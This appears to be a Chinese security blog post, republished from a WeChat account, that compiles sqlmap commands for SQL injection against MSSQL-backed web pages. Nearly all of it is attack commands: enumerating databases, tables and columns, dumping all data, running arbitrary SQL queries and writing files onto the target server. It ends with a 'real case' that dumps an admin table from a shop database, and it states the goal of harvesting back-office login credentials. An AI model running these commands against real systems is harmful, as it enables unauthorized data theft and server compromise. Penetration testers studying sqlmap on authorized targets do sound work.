SQL注入在渗透过程比较重要,例如在正面或者边界可以通过SQL注入获取目标数据库的一些信息,特别是涉及后台登录的账号及密码,目前对SQL注入比较好用的工具SQLMAP配合burpsuite,可以实现意想不到的效果。以前曾经写过一本书,喜欢的朋友可以购买。
1.1 基于mssql的sqlmap注入命令总结
利用sqlmap对注入点进行测试主要有两种方式,一种是基于url地址,另外一种是抓包保存为文本文件。
1.基于URL地址的SQL注入测试
(1)基本注入测试
sqlmap -u "http://example.com/page.php?id=1" --dbms=mssql
(2)检测所有可用的参数进行注入
sqlmap -u "http://example.com/page.php" --level=5 --risk=3 --dbms=mssql
(3)枚举当前数据库及列出所有数据库信息
sqlmap -u "http://example.com/page.php?id=1" --current-db --dbs --dbms=mssql
(4)列出指定数据库中的所有表
sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables --dbms=mssql
(5)列出指定表中的所有列
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --columns --dbms=mssql
(6)转储所有数据库
sqlmap -u "http://example.com/page.php?id=1" --dump-all --dbms=mssql
(7)转储指定数据库的所有表
sqlmap -u "http://example.com/page.php?id=1" -D dbname --dump --dbms=mssql
(8)转储指定表的数据
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --dump --dbms=mssql
(10)使用不同的技术(如堆叠查询、错误回显等):
-
使用堆叠查询技术
sqlmap -u "http://example.com/page.php?id=1" --technique=S --dbms=mssql
-
使用错误回显技术
sqlmap -u "http://example.com/page.php?id=1" --technique=E --dbms=mssql
(11)使用自定义的HTTP头部
sqlmap -u "http://example.com/page.php?id=1" --headers="User-Agent: MyCustomAgent" --dbms=mssql
(12)使用POST方法发送数据:
sqlmap -u "http://example.com/page.php" --data="id=1&submit=Submit" --method=POST --dbms=mssql
(13)执行自定义的SQL语句:
sqlmap -u "http://example.com/page.php?id=1" --sql-query="SELECT * FROM users" --dbms=mssql
(14)上传文件到服务器:
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="C:pathtoremotedestination"
2.基于保存的文件进行sql注入测试
使用 -r 选项,你可以从一个文本文件中读取请求数据。这对于处理复杂的HTTP请求(例如POST请求)非常有用,特别是当请求包含大量参数或需要特定的HTTP头时。下面是如何使用基于 -r 选项和 t2.txt 文件来执行SQLMap命令的例子。假设你有一个名为 t2.txt 的文件,它包含了完整的HTTP请求。这个文件可能看起来像这样:
POST /page.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
id=1&submit=Submit
(1)基本注入测试
python sqlmap.py -r t2.txt --dbms=mssql
检测所有可用的参数进行注入:
python sqlmap.py -r t2.txt --level=5 --risk=3 --dbms=mssql
枚举数据库信息:
获取当前数据库名称:
python sqlmap.py -r t2.txt --current-db --dbms=mssql
列出所有数据库:
python sqlmap.py -r t2.txt --dbs --dbms=mssql
列出指定数据库中的所有表:
python sqlmap.py -r t2.txt -D dbname --tables --dbms=mssql
列出指定表中的所有列:
python sqlmap.py -r t2.txt -D dbname -T tablename --columns --dbms=mssql
数据转储:
转储所有数据库:
python sqlmap.py -r t2.txt --dump-all --dbms=mssql
转储指定数据库的所有表:
python sqlmap.py -r t2.txt -D dbname --dump --dbms=mssql
转储指定表的数据:
python sqlmap.py -r t2.txt -D dbname -T tablename --dump --dbms=mssql
使用不同的技术(如堆叠查询、错误回显等):
使用堆叠查询技术:
python sqlmap.py -r t2.txt --technique=S --dbms=mssql
使用错误回显技术:
python sqlmap.py -r t2.txt --technique=E --dbms=mssql
执行自定义的SQL语句:
python sqlmap.py -r t2.txt --sql-query="SELECT * FROM users" --dbms=mssql
上传文件到服务器:
python sqlmap.py -r t2.txt --file-write="/path/to/local/file" --file-dest="C:pathtoremotedestination" --dbms=mssql
1.2实战案例
1.获取基本信息
python sqlmap.py -r t2.txt --batch --dbs --current-db
2.获取数据库表
python sqlmap.py -r t2.txt --batch -D shop --tables
3.寻找关键表
(1)admin
(2)user
(3)获取列名及数据
python sqlmap.py -r t2.txt -D shop -T *_admin --columns
4.dump数据表
python sqlmap.py -r t2.txt -D t_admin --dump
双十一快到了,也推荐一下以前写过的一些书。
原文始发于微信公众号(小兵搞安全):sqlmap基于mssql注入利用及总结
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论